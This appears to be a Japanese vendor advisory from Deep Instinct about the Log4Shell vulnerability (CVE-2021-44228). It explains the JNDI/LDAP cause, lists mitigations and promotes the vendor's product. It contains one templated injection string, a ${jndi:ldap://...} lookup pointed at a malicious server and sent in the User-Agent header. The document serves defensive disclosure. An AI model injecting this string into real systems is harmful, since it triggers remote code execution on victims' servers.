Log4Shell (CVE-2021-44228) 脆弱性について知っておくべきこと
概要
12月9日、Apacheのログ収集ツールであるLog4j2に、深刻なリモートコード実行の脆弱性が公開されました。Log4j2は、商用、非商用、自社開発のアプリケーションやユーザーがログ収集のために広く使用しているオープンソースのJavaフレームワークで、過去のすべてのバージョンに影響を与えます。
脆弱性の利用方法が単純であることや、さまざまな製品の多くのコンポーネントでLog4jライブラリが大量に使用されていることから、この脆弱性を実装したPOCがGithub上で公開されているのをすでに確認しています。
この脆弱性は「Log4Shell」と呼ばれており、その根本的な原因はLog4j2の作成者によって修正されています。Log4j2を使用しているすべてのユーザー、またはLog4j2を採用しているアプリケーションは、最新バージョン(v2.15.0)のフレームワークまたは各アプリケーションにアップデートすることを強く推奨します。
Deep Instinct社の製品、エージェント、クラウドインフラストラクチャ、およびサーバは、log4j2を使用または依存していないため、log4j2によって危険にさらされることはなく、その悪用に対して脆弱ではありません。
興味深いことに、JNDIとLDAPが脆弱なソフトウェアの原因となるのは今回が初めてではありません。Black Hat 2016の期間中、研究者はこの2つのコンポーネントを活用したリモートコード実行を成功させる方法を発表しました。
Log4Shellの特徴とは?
「Log4Shellは、Java Naming and Directory Interface (JNDI)とLightweight Directory Access Protocol (LDAP)を悪用し、Log4jを実行しているアプリケーションやサーバーに悪意のあるペイロードを取得·実行させることができます。
1990年代からJavaに搭載されているJNDIは、Javaプログラムやアプリケーションが遠隔地のデータを見つけて利用することを可能にします。LDAPは、業界標準のアプリケーション層のプロトコルで、インターネット-プロトコル(IP)を介してリモートディレクトリにアクセスすることができます。
この脆弱性は、非常に簡単に利用することができ、(場合によっては)細工したUser-Agent HTTPリクエスト·ヘッダーだけで利用することができ、すでに複数のPOCコードが公開されています。
要するに、脆弱なアプリケーションに特定の形式の文字列をログに書き込ませるだけで、脆弱性を「作動」させることができます。
最も簡単な方法では、攻撃者は、HTTPリクエストのUser-Agentヘッダーを、${jndi:ldap://<malicious_server:port>/<malicious_payload>}のような形式に変更することができます。これは、受信側のアプリケーションによってログに記録され、Log4jが悪意のあるペイロードを取得し、任意に実行する原因となります。
この脆弱性は特に危険で、脆弱なアプリケーションとやりとりする誰もが、そのアプリケーションをホストするマシン上で任意のコードをリモートで実行することができ、偵察から標的となるネットワークへの初期アクセス、ランサムウェアの配信まで可能になります。
現在の確認されている影響範囲
ざまな分野の企業が影響を受けています。これらの企業だけでなく、そのサービスを利用しているお客様も危険にさらされています。
Deep Instinct vs CVE-2021-44228
log4j2の脆弱性の悪用に成功した場合、Deep Instinctのエージェントベースのソリューションは、侵害されたマシンや環境から発信されるシェルコードや悪意のあるペイロードの実行を防ぎます。Log4Shellエクスプロイトによって配信される悪意のあるペイロードは、ディープインスティンクトのエージェントがディープラーニングのモデルを使って実行前の段階で防止することができます。
下のビデオは、Deep Instinctを搭載したWindows マシンがこの脆弱性の悪用から保護される様子を示しています。ここではDeep InstinctのWindows用エージェントD-Clientが、脆弱性のあるサービスを実行するWindowsマシンにインストールされています。攻撃者側のkaliマシンは、WindowsマシンにエンコードされたPowerShellコマンドの実行を試みる悪意のあるHTTPリクエストを送信することで、このサービスを攻撃しようとしています。
推奨される対応策と緩和策
- まず、log4j2をこの脆弱性の影響を受けない最新のバージョン2.15.0に直ちにアップグレードしてください
- バージョン(2.10以上)を使用している場合は、設定システムプロパティ「log4j2.formatMsgNoLookups」を「true」に設定してください(バージョン2.15.0のデフォルト)
- 以前のバージョン(2.0_beta9 - 2.10.0)での保護は、クラスパスから JndiLookup クラスを削除することで可能です
- log4jと相互作用するすべてのコードへの入力検証メカニズムの実装してください
対策ガイドの詳細:
以下のコマンドを使用して、log4jのRCE脆弱性に対する悪用の試みを検索することができます。
参考文献
https://nvd.nist.gov/vuln/detail/CVE-2021-44228 - CVE details and scores
https://logging.apache.org/log4j/2.x/security.html - Log4j 2.15.0 patch notes
https://logging.apache.org/log4j/2.x/download.html - Log4j2 latest version (2.15.0)
https://github.com/YfryTchsGD/Log4jAttackSurface - list of affected components